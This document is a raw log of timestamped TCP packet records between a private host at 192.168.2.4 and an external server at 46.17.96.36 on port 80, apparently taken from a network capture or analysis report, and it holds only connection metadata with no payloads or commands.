Aug 29, 2021 22:27:57.362754107 CEST	49876	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:57.363157034 CEST	49876	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:57.363504887 CEST	49876	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:57.368885040 CEST	49877	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:57.376971960 CEST	49878	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:57.395205975 CEST	80	49876	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:57.395306110 CEST	80	49876	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:57.395342112 CEST	80	49876	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:57.395453930 CEST	49876	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:57.395483017 CEST	80	49876	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:57.395519018 CEST	80	49876	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:57.395536900 CEST	49876	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:57.395567894 CEST	49876	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:57.395770073 CEST	80	49876	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:57.395811081 CEST	80	49876	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:57.395832062 CEST	49876	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:57.395847082 CEST	80	49876	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:57.395888090 CEST	49876	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:57.395909071 CEST	49876	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:57.403745890 CEST	80	49877	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:57.403819084 CEST	49877	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:57.409055948 CEST	80	49878	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:57.409161091 CEST	49878	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:57.412004948 CEST	49878	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:57.427884102 CEST	80	49876	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:57.427973032 CEST	49876	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:57.428096056 CEST	80	49876	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:57.428191900 CEST	49876	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:57.428339958 CEST	80	49876	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:57.428359985 CEST	80	49876	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:57.428375006 CEST	80	49876	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:57.428411961 CEST	49876	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:57.428412914 CEST	80	49876	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:57.428447962 CEST	49876	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:57.428482056 CEST	49876	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:57.428611994 CEST	80	49876	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:57.428627968 CEST	80	49876	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:57.428692102 CEST	49876	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:57.428713083 CEST	49876	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:57.428761005 CEST	80	49876	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:57.428823948 CEST	49876	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:57.428932905 CEST	80	49876	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:57.428946972 CEST	80	49876	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:57.428992033 CEST	49876	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:57.429030895 CEST	49876	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:57.429099083 CEST	80	49876	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:57.429157972 CEST	49876	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:57.443850994 CEST	80	49878	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:57.460613966 CEST	80	49876	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:57.460638046 CEST	80	49876	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:57.460758924 CEST	49876	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:57.460789919 CEST	49876	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:57.460800886 CEST	80	49876	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:57.460861921 CEST	49876	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:57.460927963 CEST	80	49876	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:57.460972071 CEST	80	49876	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:57.460987091 CEST	49876	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:57.461035967 CEST	49876	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:57.461174011 CEST	80	49876	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:57.461230040 CEST	49876	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:57.461400032 CEST	80	49876	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:57.461421013 CEST	80	49876	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:57.461482048 CEST	49876	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:57.461991072 CEST	80	49876	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:57.462033033 CEST	80	49876	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:57.462048054 CEST	80	49876	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:57.462060928 CEST	80	49876	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:57.462075949 CEST	80	49876	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:57.462260962 CEST	80	49876	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:57.462465048 CEST	80	49876	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:57.462485075 CEST	80	49876	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:57.462497950 CEST	80	49876	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:57.462512016 CEST	80	49876	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:57.466331959 CEST	49876	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:57.490012884 CEST	80	49878	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:57.490144014 CEST	49878	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:57.493591070 CEST	80	49876	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:57.493624926 CEST	80	49876	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:57.493643045 CEST	80	49876	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:57.493668079 CEST	80	49876	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:57.494060993 CEST	80	49876	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:57.494249105 CEST	80	49876	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:57.494275093 CEST	80	49876	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:57.494299889 CEST	80	49876	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:57.494324923 CEST	80	49876	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:57.494610071 CEST	80	49876	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:57.494939089 CEST	80	49876	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:57.498996973 CEST	80	49876	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:57.538789034 CEST	80	49876	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:57.538918018 CEST	49876	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:57.932471991 CEST	49876	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:57.965137005 CEST	80	49876	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:57.965217113 CEST	49876	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:57.987479925 CEST	49878	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:57.988622904 CEST	49879	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:58.020064116 CEST	80	49878	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:58.020224094 CEST	49878	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:58.023751020 CEST	80	49879	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:58.031055927 CEST	49879	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:58.270724058 CEST	49879	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:58.306034088 CEST	80	49879	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:58.312635899 CEST	49880	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:58.348453999 CEST	80	49880	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:58.348622084 CEST	49880	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:58.350860119 CEST	80	49879	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:58.350965023 CEST	49879	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:58.355581999 CEST	49880	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:58.355848074 CEST	49880	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:58.355931044 CEST	49880	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:58.355973005 CEST	49880	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:58.391984940 CEST	80	49880	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:58.392043114 CEST	80	49880	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:58.392090082 CEST	80	49880	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:58.392117977 CEST	80	49880	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:58.392261028 CEST	49880	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:58.392348051 CEST	49880	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:58.392512083 CEST	80	49880	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:58.392604113 CEST	49880	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:58.428591013 CEST	80	49880	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:58.428735971 CEST	49880	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:58.428848982 CEST	80	49880	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:58.428879976 CEST	80	49880	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:58.428956032 CEST	49880	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:58.428993940 CEST	49880	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:58.429069042 CEST	80	49880	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:58.429105043 CEST	80	49880	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:58.429251909 CEST	49880	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:58.429289103 CEST	49880	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:58.429601908 CEST	80	49880	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:58.429687023 CEST	49880	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:58.429718971 CEST	80	49880	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:58.452054024 CEST	49880	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:58.464560986 CEST	80	49880	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:58.464595079 CEST	80	49880	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:58.464613914 CEST	80	49880	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:58.464679003 CEST	80	49880	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:58.464690924 CEST	49880	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:58.464720011 CEST	80	49880	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:58.464740992 CEST	49880	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:58.464766026 CEST	49880	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:58.464827061 CEST	80	49880	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:58.464859009 CEST	80	49880	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:58.465082884 CEST	80	49880	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:58.465333939 CEST	80	49880	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:58.465363026 CEST	80	49880	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:58.466089964 CEST	80	49880	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:58.466114998 CEST	80	49880	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:58.466150999 CEST	80	49880	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:58.466696978 CEST	80	49880	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:58.466727972 CEST	80	49880	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:58.487420082 CEST	80	49880	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:58.487452984 CEST	80	49880	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:58.487471104 CEST	80	49880	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:58.500375032 CEST	80	49880	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:58.500422001 CEST	80	49880	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:58.500437975 CEST	80	49880	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:58.500454903 CEST	80	49880	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:58.500603914 CEST	80	49880	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:58.500633955 CEST	80	49880	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:58.500658035 CEST	80	49880	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:58.500942945 CEST	80	49880	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:58.502321959 CEST	49879	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:58.503393888 CEST	49881	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:58.537693024 CEST	80	49879	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:58.537743092 CEST	80	49880	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:58.537796974 CEST	49879	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:58.537875891 CEST	49880	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:58.538527012 CEST	80	49881	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:58.538651943 CEST	49881	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:58.540244102 CEST	49881	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:58.575452089 CEST	80	49881	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:58.617230892 CEST	80	49881	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:58.617321968 CEST	49881	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:58.756825924 CEST	49881	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:58.757129908 CEST	49880	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:58.758219004 CEST	49882	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:58.765172005 CEST	49883	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:58.790787935 CEST	80	49882	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:58.790957928 CEST	49882	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:58.793178082 CEST	80	49881	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:58.793225050 CEST	80	49880	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:58.793261051 CEST	49881	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:58.793400049 CEST	49880	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:58.797630072 CEST	80	49883	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:58.797785997 CEST	49883	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:58.811075926 CEST	49882	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:58.811275005 CEST	49883	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:58.811393976 CEST	49883	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:58.811556101 CEST	49883	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:58.811641932 CEST	49883	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:58.844679117 CEST	80	49883	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:58.844733000 CEST	80	49882	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:58.844769955 CEST	80	49883	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:58.844804049 CEST	80	49883	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:58.844839096 CEST	80	49883	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:58.844894886 CEST	49883	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:58.844979048 CEST	49883	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:58.845442057 CEST	80	49883	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:58.845479965 CEST	80	49883	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:58.845514059 CEST	80	49883	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:58.845551968 CEST	49883	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:58.845582962 CEST	49883	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:58.845613003 CEST	49883	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:58.877307892 CEST	80	49883	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:58.877353907 CEST	80	49883	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:58.877383947 CEST	80	49883	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:58.877465010 CEST	49883	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:58.877518892 CEST	49883	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:58.877538919 CEST	49883	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:58.877545118 CEST	80	49883	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:58.877660036 CEST	80	49883	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:58.877688885 CEST	49883	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:58.877690077 CEST	80	49883	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:58.877763033 CEST	80	49883	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:58.877794981 CEST	49883	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:58.877811909 CEST	49883	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:58.877823114 CEST	49883	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:58.878046989 CEST	80	49883	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:58.878073931 CEST	80	49883	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:58.878180981 CEST	80	49883	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:58.878206968 CEST	80	49883	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:58.878209114 CEST	49883	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:58.878237009 CEST	49883	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:58.878276110 CEST	49883	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:58.878298998 CEST	49883	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:58.887226105 CEST	80	49882	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:58.887320042 CEST	49882	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:58.910423040 CEST	80	49883	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:58.910456896 CEST	80	49883	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:58.910475016 CEST	80	49883	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:58.910500050 CEST	80	49883	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:58.910530090 CEST	80	49883	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:58.910540104 CEST	49883	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:58.910564899 CEST	80	49883	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:58.910599947 CEST	80	49883	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:58.910623074 CEST	49883	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:58.910643101 CEST	80	49883	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:58.910671949 CEST	49883	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:58.910681963 CEST	80	49883	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:58.910718918 CEST	80	49883	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:58.910748959 CEST	80	49883	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:58.910845041 CEST	80	49883	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:58.910870075 CEST	80	49883	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:58.911195040 CEST	80	49883	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:58.911218882 CEST	80	49883	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:58.911253929 CEST	80	49883	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:58.911283970 CEST	80	49883	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:58.942686081 CEST	80	49883	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:58.943054914 CEST	80	49883	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:58.943141937 CEST	80	49883	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:58.943428040 CEST	80	49883	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:58.943442106 CEST	80	49883	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:58.943787098 CEST	80	49883	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:58.943802118 CEST	80	49883	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:58.943816900 CEST	80	49883	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:58.982319117 CEST	80	49883	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:58.982418060 CEST	49883	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:58.998194933 CEST	49883	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:58.998586893 CEST	49882	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:58.999875069 CEST	49884	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:59.032516003 CEST	80	49883	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:59.032712936 CEST	80	49882	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:59.032787085 CEST	49883	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:59.032800913 CEST	49882	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:59.039051056 CEST	80	49884	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:59.039170980 CEST	49884	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:59.039788008 CEST	49884	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:59.077339888 CEST	80	49884	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:59.122773886 CEST	80	49884	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:59.122883081 CEST	49884	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:59.184695959 CEST	49884	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:59.184762001 CEST	49884	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:59.184943914 CEST	49884	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:59.185062885 CEST	49884	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:59.220323086 CEST	80	49884	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:59.220345974 CEST	80	49884	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:59.220355988 CEST	80	49884	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:59.220372915 CEST	80	49884	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:59.220469952 CEST	49884	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:59.220832109 CEST	80	49884	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:59.220887899 CEST	49884	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:59.221394062 CEST	80	49884	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:59.221451998 CEST	49884	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:59.221591949 CEST	80	49884	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:59.221611977 CEST	80	49884	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:59.221682072 CEST	49884	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:59.253041983 CEST	49885	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:59.255990028 CEST	80	49884	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:59.256016016 CEST	80	49884	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:59.256032944 CEST	80	49884	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:59.256047010 CEST	80	49884	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:59.256138086 CEST	49884	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:59.256176949 CEST	49884	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:59.256243944 CEST	80	49884	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:59.256308079 CEST	49884	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:59.256635904 CEST	80	49884	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:59.256789923 CEST	80	49884	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:59.256849051 CEST	49884	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:59.256910086 CEST	80	49884	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:59.256978035 CEST	49884	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:59.257106066 CEST	80	49884	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:59.258399010 CEST	49884	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:59.287909031 CEST	80	49885	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:59.288036108 CEST	49885	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:59.288893938 CEST	49885	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:59.291640043 CEST	80	49884	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:59.291701078 CEST	80	49884	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:59.291716099 CEST	80	49884	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:59.291755915 CEST	80	49884	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:59.291783094 CEST	49884	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:59.291954041 CEST	80	49884	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:59.292185068 CEST	80	49884	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:59.292200089 CEST	80	49884	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:59.292210102 CEST	80	49884	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:59.292366982 CEST	80	49884	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:59.292573929 CEST	80	49884	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:59.292588949 CEST	80	49884	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:59.292732954 CEST	80	49884	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:59.292835951 CEST	80	49884	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:59.294125080 CEST	80	49884	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:59.294146061 CEST	80	49884	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:59.294455051 CEST	80	49884	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:59.324091911 CEST	80	49885	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:59.328286886 CEST	80	49884	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:59.328339100 CEST	80	49884	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:59.328372955 CEST	80	49884	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:59.367923021 CEST	80	49884	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:59.368021011 CEST	49884	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:59.368249893 CEST	80	49885	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:59.368341923 CEST	49885	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:59.487412930 CEST	49885	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:59.487787962 CEST	49884	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:59.489219904 CEST	49886	80	192.168.2.4	46.17.96.36
